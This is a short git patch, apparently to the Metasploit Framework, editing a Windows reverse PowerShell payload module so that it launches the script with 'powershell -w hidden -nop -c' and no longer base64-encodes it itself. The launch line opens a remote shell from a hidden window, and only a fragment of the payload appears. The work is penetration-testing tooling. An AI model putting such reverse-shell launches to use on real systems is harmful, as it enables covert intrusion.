From 9f04e0081d876e989cda4010bff43ffab4ed9619 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sat, 8 Feb 2014 19:28:03 +0000 Subject: [PATCH] Stick with command let encoder handle encoding --- modules/payloads/singles/cmd/windows/reverse_powershell.rb | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/modules/payloads/singles/cmd/windows/reverse_powershell.rb b/modules/payloads/singles/cmd/windows/reverse_powershell.rb index b4a178ecbc..18a6acb83e 100644 --- a/modules/payloads/singles/cmd/windows/reverse_powershell.rb +++ b/modules/payloads/singles/cmd/windows/reverse_powershell.rb @@ -85,9 +85,7 @@ module Metasploit3 "}"\ "}else{RSC}};"\ - powershell_encoded = Rex::Text.encode_base64(Rex::Text.to_unicode(powershell)) - - return "powershell.exe -w hidden -nop -e #{powershell_encoded}" + return "powershell -w hidden -nop -c #{powershell}" end end